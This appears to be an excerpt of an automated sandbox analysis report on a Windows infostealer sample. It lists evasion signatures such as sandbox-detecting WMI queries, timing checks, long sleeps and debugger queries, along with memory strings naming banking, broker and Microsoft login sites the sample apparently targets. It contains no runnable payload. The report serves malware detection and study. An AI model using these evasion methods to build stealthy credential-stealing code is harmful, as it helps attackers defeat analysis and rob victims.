Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Service
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207AD1C0 rdtsc 9_2_207AD1C0
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4460 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5461 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7853 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1939 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Program Files (x86)\Windows Mail\wab.exe API coverage: 0.4 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5044 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3624 Thread sleep count: 7853 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5008 Thread sleep count: 1939 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6400 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 6192 Thread sleep time: -32000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\AtBroker.exe Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: s5497I81.12.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: s5497I81.12.dr Binary or memory string: discord.comVMware20,11696428655f
Source: s5497I81.12.dr Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: s5497I81.12.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: s5497I81.12.dr Binary or memory string: global block list test formVMware20,11696428655
Source: s5497I81.12.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: wab.exe, 00000009.00000003.2592625920.0000000004B78000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687613635.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687613635.0000000004B78000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3229883685.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: s5497I81.12.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: s5497I81.12.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: s5497I81.12.dr Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: powershell.exe, 00000005.00000002.2397711658.0000000006F9C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllol
Source: AtBroker.exe, 0000000C.00000002.3230765506.0000000008440000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: use_dateINTEGERmVMware
Source: s5497I81.12.dr Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: wab.exe, 00000009.00000002.2687527805.0000000004B42000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: s5497I81.12.dr Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: s5497I81.12.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: s5497I81.12.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: s5497I81.12.dr Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: AtBroker.exe, 0000000C.00000002.3230765506.0000000008440000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: mVMware
Source: s5497I81.12.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: powershell.exe, 00000002.00000002.2542707682.000001AE488B0000.00000004.00000020.00020000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000002.3228024968.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: AtBroker.exe, 0000000C.00000002.3229883685.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWWNlkeXXqdqVYiV1NR2TknteJ8gPHFSuvG47YGycsFNK3obzig==&
Source: firefox.exe, 00000011.00000002.2993337503.0000026AE7D4C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllee
Source: s5497I81.12.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: s5497I81.12.dr Binary or memory string: outlook.office.comVMware20,11696428655s
Source: s5497I81.12.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: s5497I81.12.dr Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002C84000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWX
Source: s5497I81.12.dr Binary or memory string: AMC password management pageVMware20,11696428655
Source: s5497I81.12.dr Binary or memory string: tasks.office.comVMware20,11696428655o
Source: s5497I81.12.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: s5497I81.12.dr Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: s5497I81.12.dr Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: s5497I81.12.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: s5497I81.12.dr Binary or memory string: dev.azure.comVMware20,11696428655j
Source: s5497I81.12.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: s5497I81.12.dr Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: wscript.exe, 00000000.00000003.1998427130.0000015274974000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: nk Tracking ClientRecommended Troubleshooting ServiceWindows Modules InstallerAuto Time Zone UpdaterUser Experience Virtualization ServiceRemote Desktop Services UserMode Port RedirectorUPnP Device HostUser ManagerUpdate Orchestrator ServiceVolumetric Audio Compositor ServiceCredential ManagerVirtual DiskHyper-V Guest Service InterfacevmicheartbeatHyper-V Data Exchange ServiceHyper-V Remote Desktop Virtualization ServicevmicshutdownHyper-V Time Synchronization ServiceHyper-V PowerShell Direct ServicevmicvssVolume Shadow CopyWindows TimeWalletServiceWarpJITSvcBlock Level Backup Engine ServiceWindows Biometric ServiceWindows Connection ManagerWindows Connect Now - Config RegistrarDiagnostic Service HostDiagnostic System HostMicrosoft Defender Antivirus Network Inspection ServiceWebClientWindows Event CollectorWindows Encryption Provider Host ServiceProblem Reports Control Panel SupportWindows Error Reporting ServiceWi-Fi Direct Services Connection Manager ServiceStill Image Acquisition EventsMicrosoft Defender Antivirus ServiceWinHTTP Web Proxy Auto-Discovery ServiceWindows Management InstrumentationWindows Remote Management (WS-Management)Windows Insider ServiceWLAN AutoConfigMicrosoft Account Sign-in AssistantLocal Profile Assistant ServiceWindows Management ServiceWMI Performance AdapterWindows Media Player Network Sharing ServiceWork FoldersParental ControlsPortable Device Enumerator ServiceWindows Push Notifications System ServiceSecurity CenterWindows SearchWindows UpdateWWAN AutoConfigXbox Live Auth ManagerXbox Live Game SaveXbox Accessory Management ServiceXbox Live Networking ServiceAgent Activation Runtime_27859GameDVR and Broadcast User Service_27859Bluetooth User Support Service_27859CaptureService_27859Clipboard User Service_27859Connected Devices Platform User Service_27859ConsentUX_27859CredentialEnrollmentManagerUserSvc_27859DeviceAssociationBroker_27859DevicePicker_27859DevicesFlow_27859MessagingService_27859Sync Host_27859Contact Data_27859PrintWorkflow_27859Udk User Service_27859gupd
Source: s5497I81.12.dr Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: s5497I81.12.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: s5497I81.12.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process queried: DebugPort Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process queried: DebugPort Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207AD1C0 rdtsc 9_2_207AD1C0
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_0094D8B8 LdrInitializeThunk,LdrInitializeThunk, 5_2_0094D8B8
Contains functionality to read the PEB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h] 9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741070 mov ecx, dword ptr fs:[00000030h] 9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h] 9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h] 9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h] 9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h] 9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h] 9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h] 9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h] 9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h] 9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h] 9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h] 9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h] 9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075C073 mov eax, dword ptr fs:[00000030h] 9_2_2075C073
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207AD070 mov ecx, dword ptr fs:[00000030h] 9_2_207AD070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B106E mov eax, dword ptr fs:[00000030h] 9_2_207B106E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20732050 mov eax, dword ptr fs:[00000030h] 9_2_20732050
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207D705E mov ebx, dword ptr fs:[00000030h] 9_2_207D705E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207D705E mov eax, dword ptr fs:[00000030h] 9_2_207D705E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075B052 mov eax, dword ptr fs:[00000030h] 9_2_2075B052
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B6050 mov eax, dword ptr fs:[00000030h] 9_2_207B6050
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F903E mov eax, dword ptr fs:[00000030h] 9_2_207F903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F903E mov eax, dword ptr fs:[00000030h] 9_2_207F903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F903E mov eax, dword ptr fs:[00000030h] 9_2_207F903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F903E mov eax, dword ptr fs:[00000030h] 9_2_207F903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072A020 mov eax, dword ptr fs:[00000030h] 9_2_2072A020
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072C020 mov eax, dword ptr fs:[00000030h] 9_2_2072C020
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_208050D9 mov eax, dword ptr fs:[00000030h] 9_2_208050D9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074E016 mov eax, dword ptr fs:[00000030h] 9_2_2074E016
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074E016 mov eax, dword ptr fs:[00000030h] 9_2_2074E016
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074E016 mov eax, dword ptr fs:[00000030h] 9_2_2074E016
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074E016 mov eax, dword ptr fs:[00000030h] 9_2_2074E016
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B4000 mov ecx, dword ptr fs:[00000030h] 9_2_207B4000
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072C0F0 mov eax, dword ptr fs:[00000030h] 9_2_2072C0F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207720F0 mov ecx, dword ptr fs:[00000030h] 9_2_207720F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207550E4 mov eax, dword ptr fs:[00000030h] 9_2_207550E4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207550E4 mov ecx, dword ptr fs:[00000030h] 9_2_207550E4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072A0E3 mov ecx, dword ptr fs:[00000030h] 9_2_2072A0E3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207380E9 mov eax, dword ptr fs:[00000030h] 9_2_207380E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B60E0 mov eax, dword ptr fs:[00000030h] 9_2_207B60E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B20DE mov eax, dword ptr fs:[00000030h] 9_2_207B20DE
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207590DB mov eax, dword ptr fs:[00000030h] 9_2_207590DB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov ecx, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov ecx, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov ecx, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov ecx, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h] 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207AD0C0 mov eax, dword ptr fs:[00000030h] 9_2_207AD0C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207AD0C0 mov eax, dword ptr fs:[00000030h] 9_2_207AD0C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F60B8 mov eax, dword ptr fs:[00000030h] 9_2_207F60B8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F60B8 mov ecx, dword ptr fs:[00000030h] 9_2_207F60B8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C80A8 mov eax, dword ptr fs:[00000030h] 9_2_207C80A8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20805060 mov eax, dword ptr fs:[00000030h] 9_2_20805060
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20735096 mov eax, dword ptr fs:[00000030h] 9_2_20735096
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075D090 mov eax, dword ptr fs:[00000030h] 9_2_2075D090
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075D090 mov eax, dword ptr fs:[00000030h] 9_2_2075D090
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076909C mov eax, dword ptr fs:[00000030h] 9_2_2076909C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073208A mov eax, dword ptr fs:[00000030h] 9_2_2073208A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072D08D mov eax, dword ptr fs:[00000030h] 9_2_2072D08D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
